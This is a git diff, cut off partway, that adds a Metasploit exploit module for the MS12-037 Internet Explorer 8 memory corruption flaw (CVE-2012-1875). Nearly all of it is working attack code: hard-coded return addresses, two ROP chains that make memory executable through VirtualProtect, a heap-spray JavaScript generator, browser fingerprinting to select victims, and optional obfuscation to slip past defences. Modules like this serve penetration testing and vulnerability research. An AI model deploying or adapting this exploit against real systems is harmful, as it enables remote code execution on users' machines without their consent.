diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb new file mode 100644 index 0000000000..6868f7b3fb --- /dev/null +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -0,0 +1,337 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", + 'Description' => %q{ + This module exploits a memory corruption flaw in Internet Explorer 8 when + handling objects with the same ID property. At the moment this module targets + IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited + in the wild. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Dark Son ', # Vulnerability discovery + 'Qihoo 360 Security Center', # Vulnerability discovery + 'Yichong Lin', # Vulnerability discovery + 'Google Inc.', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'MSB', 'MS12-037'], + [ 'CVE', '2012-1875' ], + [ 'OSVDB', '82865'], + [ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild + ], + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00", + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'IE 8 on Windows XP SP3 with msvcrt ROP', + { + 'Rop' => :msvcrt, + 'RopOffset' => '0x5f4', + 'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll + } + ], + [ + 'IE 8 on Windows XP SP3 with JRE ROP', + { + 'Rop' => :jre, + 'RopOffset' => '0x5f4', + 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll + } + ], + [ + 'IE 8 on Windows 7 SP1 with JRE ROP', + { + 'Rop' => :jre, + 'RopOffset' => '0x5f4', + 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jun 12 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + # If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ + #Windows XP SP3 + IE 8.0 + return targets[1] + elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ + #Windows 7 SP1 + IE 8.0 + return targets[3] + else + return nil + end + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V").first + end + + def nop + return make_nops(4).unpack("V").first + end + + def ret(t) + case t['Rop'] + when :msvcrt + return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll + when :jre + return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll + end + end + + def popret(t) + case t['Rop'] + when :msvcrt + return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll + when :jre + return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll + end + end + + def get_rop_chain(t) + + adjust = ret(t) * 27 + adjust << popret(t) + adjust << [t.ret].pack("V") # stackpivot + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop = + [ + 0x77c4e392, # POP EAX # RETN + 0x77c11120, # <- *&VirtualProtect() + 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + junk, + 0x77c2dd6c, + 0x77c4ec00, # POP EBP # RETN + 0x77c35459, # ptr to 'push esp # ret' + 0x77c47705, # POP EBX # RETN + 0x00001000, # EBX + 0x77c3ea01, # POP ECX # RETN + 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) + 0x77c46100, # POP EDI # RETN + 0x77c46101, # ROP NOP (-> edi) + 0x77c4d680, # POP EDX # RETN + 0x00000040, # newProtect (0x40) (-> edx) + 0x77c4e392, # POP EAX # RETN + nop, # NOPS (-> eax) + 0x77c12df9, # PUSHAD # RETN + ].pack("V*") + + when :jre + print_status("Using JRE ROP") + rop = + [ + 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN + 0x00001000, # (dwSize) + 0x7c347f98, # RETN (ROP NOP) + 0x7c3415a2, # JMP [EAX] + 0xffffffff, + 0x7c376402, # skip 4 bytes + 0x7c345255, # INC EBX # FPATAN # RETN + 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN + 0x7c344f87, # POP EDX # RETN + 0x00000040, # flNewProtect + 0x7c34d201, # POP ECX # RETN + 0x7c38b001, # &Writable location + 0x7c347f97, # POP EAX # RETN + 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] + 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN + 0x7c345c30, # ptr to 'push esp # ret ' + ].pack("V*") + end + + code = adjust + code << rop + return code + + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + my_target = get_target(agent) + + # Avoid the attack if the victim doesn't have the same setup we're targeting + if my_target.nil? + print_error("Browser not supported: #{agent}") + send_not_found(cli) + return + end + + print_status("Client requesting: #{request.uri}") + + p = payload.encoded + + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) + js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch)) + js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) + js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) + + js_spray = <<-JS + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var rop_chain = unescape("#{js_rop}"); + var random = unescape("#{js_padding}"); + var nops = unescape("#{js_nops}"); + + while (random.length < 0x80000) random += random; + while (nops.length < 0x80000) nops += nops; + + var padding = random.substring(0, #{my_target['RopOffset']}-code.length); + var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length); + + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + + heap_obj.gc(); + for (var z=1; z < 0x385; z++) { + heap_obj.alloc(block); + } + JS + + js_spray = heaplib(js_spray, {:noobfu => true}) + + trigger_f = "trigger" + feng_shui_f = "feng_shui" + crash_f = "crash" + unescape_f = "do_unescape" + main_f = "main" + a_id = "MyA" + danger_id = "imgTest" + + if datastore['OBFUSCATE'] + js_spray = ::Rex::Exploitation::JSObfu.new(js_spray) + js_spray.obfuscate + + trigger_f = rand_text_alpha(rand(5) + 4) + feng_shui_f = rand_text_alpha(rand(5) + 4) + crash_f = rand_text_alpha(rand(5) + 4) + unescape_f = rand_text_alpha(rand(5) + 4) + main_f = rand_text_alpha(rand(5) + 4) + a_id = rand_text_alpha(rand(5) + 4) + danger_id = rand_text_alpha(rand(5) + 4) + end + + html = %Q| + +
+